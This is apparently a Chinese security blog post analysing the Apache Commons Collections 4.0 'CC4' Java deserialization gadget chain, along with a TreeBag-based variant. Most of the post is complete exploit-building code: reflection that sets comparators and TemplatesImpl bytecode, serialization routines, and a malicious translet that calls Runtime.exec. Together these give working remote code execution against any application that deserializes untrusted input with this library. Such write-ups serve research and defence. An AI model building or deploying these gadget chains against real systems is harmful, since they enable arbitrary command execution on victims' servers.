CC4 是 CC2 的一个变种:
- 用 PriorityQueue 的 TransformingComparator 触发 ChainedTransformer
- 再利用 InstantiateTransformer 实例化 TemplatesImpl
排列组合了属于是
在这里补充一个对 PriorityQueue 的替代链 TreeBag
如果不太了解CC3,建议先看看之前我发的关于CC3的内容,比较简单,再看CC4可能体验会比较好
JAVA环境
java version "1.8.0_66"
Java(TM) SE Runtime Environment (build 1.8.0_66-b18)
Java HotSpot(TM) 64-Bit Server VM (build 25.66-b18, mixed mode)
依赖版本
- Apache Commons Collections 依赖版本:commons-collections4 : 4.0
检查依赖配置
确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml
文件中添加以下依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
资源下载
前置知识
TreeBag & TreeMap
在 CC2 中,使用了:
- 优先级队列 PriorityQueue 反序列化
- PriorityQueue 反序列化时会调用 comparator 的 compare 方法的特性
- 配合 TransformingComparator 触发 transformer
除了 PriorityQueue,还能否找到其他的提供排序的类,在反序列化时会调用到比较器呢?于是找到了 TreeBag。
对于 Bag 我很陌生,所以这里简单介绍一下
Bag
接口继承自 Collection 接口,定义了一个集合,该集合会记录对象在集合中出现的次数
-
- 它有一个子接口
SortedBag
,定义了一种可以对其唯一(不重复)成员排序的Bag
类型
- 它有一个子接口
TreeBag
是对SortedBag
的一个标准实现
-
TreeBag
使用TreeMap
来储存数据,并使用指定Comparator
来进行排序TreeBag
继承自AbstractMapBag
,实现了SortedBag
接口- 初始化
TreeBag
时,会创建一个新的TreeMap
储存在成员变量map
里 - 排序使用的
Comparator
则直接储存在TreeMap
中
TreeBag#TreeBag
public TreeBag(final Comparator<? super E> comparator) {
super(new TreeMap<E, MutableInteger>(comparator));
}
TreeMap#TreeMap
public TreeMap(Comparator<? super K> comparator) {
this.comparator = comparator;
}
TreeBag#readObject - kick-off
在对 TreeBag 反序列化时,会将反序列化出来的 Comparator 对象交给 TreeMap 实例化,并调用父类的 doReadObject
方法处理:
private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
@SuppressWarnings("unchecked") // This will fail at runtime if the stream is incorrect
final Comparator<? super E> comp = (Comparator<? super E>) in.readObject();
super.doReadObject(new TreeMap<E, MutableInteger>(comp), in);
}
AbstractMapBag#doReadObject
而 doReadObject
方法会向 TreeMap 中 put 数据:
protected void doReadObject(final Map<E, MutableInteger> map, final ObjectInputStream in)
throws IOException, ClassNotFoundException {
this.map = map;
final int entrySize = in.readInt();
for (int i = 0; i < entrySize; i++) {
@SuppressWarnings("unchecked") // This will fail at runtime if the stream is incorrect
final E obj = (E) in.readObject();
final int count = in.readInt();
map.put(obj, new MutableInteger(count));
size += count;
}
}
TreeMap#put - chain
类似优先级队列,对于这种有序的储存数据的集合,反序列化数据时一定会对其进行排序动作,而 TreeBag 则是依赖了 TreeMap 在 put 数据时会调用 compare 进行排序的特点来实现数据顺序的保存:
public V put(K key, V value) {
Entry<K,V> t = root;
if (t == null) {
compare(key, key); // type (and possibly null) check
root = new Entry<>(key, value, null);
size = 1;
modCount++;
return null;
}
...
}
TreeMap#compare
而compare
方法中调用了 comparator
进行比较,所以就可以使用 TransformingComparator
触发后续的逻辑:
@SuppressWarnings("unchecked")
final int compare(Object k1, Object k2) {
return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2)
: comparator.compare((K)k1, (K)k2);
}
攻击构造
基于 PriorityQueue
这是ysoserial CC4使用的方法,只是CC2和CC3的方法排列组合一下而已
恶意代码主体
public void TestCC4WithPriorityQueue() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
// 在初始化时不带入 comparator, 之后再通过反射设置,这里设置queue的容量为2
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
Transformer transformer = TransformerWithPriorityQueue();
TransformingComparator comparator = new TransformingComparator(transformer);
// 通过反射设置 comparator
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
writeObjectToFile(queue, fileName);
readFileObject(fileName);
}
Transformer生成
protected Transformer TransformerWithPriorityQueue() throws IOException, NoSuchFieldException, IllegalAccessException {
// 读取恶意类存到 bytes[] 数组中
byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForCC4.class"));
// 初始化 TemplatesImpl 对象 tmpl,将恶意类设置到_bytecodes中
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "neolock");
// 结合 ChainedTransformer
ChainedTransformer chainTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
});
return chainTransformer;
}
恶意类构造
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
public class EvilClassForCC4 extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
// No implementation needed
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {
// No implementation needed
}
}
基于 TreeBag
恶意代码主体
public void TestCC4WithTreeBag() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl tmpl = CreateTemplatesImpl();
Transformer transformer = TransformerWithTreeBag();
TransformingComparator comparator = new TransformingComparator(transformer);
TreeBag tree = new TreeBag(comparator);
tree.add(tmpl);
// transformer 变量指向 InvokerTransformer 的实例
// 通过反射设置 transformer 的 iMethodName 为 newTransformer
Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer, "newTransformer");
writeObjectToFile(tree, fileName);
readFileObject(fileName);
}
Transformer生成
对于TemplatesImpl 对象的设置跟CC2一样,但是创建Transformer的过程不同
protected TemplatesImpl CreateTemplatesImpl() throws IOException, NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
// 读取恶意类存到 bytes[] 数组中
byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForCC4.class"));
// 初始化 TemplatesImpl 对象 tmpl,将恶意类设置到_bytecodes中
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "neolock");
return tmpl;
}
protected Transformer TransformerWithTreeBag() throws IOException, NoSuchFieldException, IllegalAccessException {
// 创建一个InvokerTransformer实例,在调用其transform()方法时,会调用目标对象的toString()方法,并且不传递任何参数
Transformer templatesImplTransformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
return templatesImplTransformer;
}
恶意类直接使用与之前相同的就可以
总结
以上就是 CC4 链分析的全部内容了,最后总结一下。
基于 PriorityQueue
利用说明
- 使用
PriorityQueue
反序列化时触发的TransformingComparator
的compare
方法 - 触发
ChainedTransformer
的tranform
方法链 - 其中利用
InstantiateTransformer
实例化TrAXFilter
类 - 此类实例化时会调用
TemplatesImpl
的newTransformer
实例化恶意类,执行恶意代码
Gadget 总结
- kick-off gadget:
java.util.PriorityQueue#readObject
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
- chain gadget:
org.apache.commons.collections.functors.InstantiateTransformer#transform
调用链展示
PriorityQueue.readObject()
TransformingComparator.compare()
*ChainedTransformer.transform()
InvokerTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
基于TreeBag
利用说明
用 TreeBag 代替 PriorityQueue 触发 TransformingComparator,后续依旧使用 Transformer 的调用链。
Gadget 总结
- kick-off gadget:
org.apache.commons.collections4.bag.TreeBag#readObject
- sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform
- chain gadget:
java.util.TreeMap#put
调用链展示
TreeBag.readObject()
AbstractMapBag.doReadObject()
TreeMap.put()
TreeMap.compare()
TransformingComparator.compare()
InvokerTransformer.transform()
涉及很多不同的类,注意他们分别具体属于哪些类:
org.apache.commons.collections4.bag.TreeBag.readObject()
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject()
java.util.TreeMap.put()
java.util.TreeMap.compare()
org.apache.commons.collections4.comparators.TransformingComparator.compare()
org.apache.commons.collections4.functors.InvokerTransformer.transform()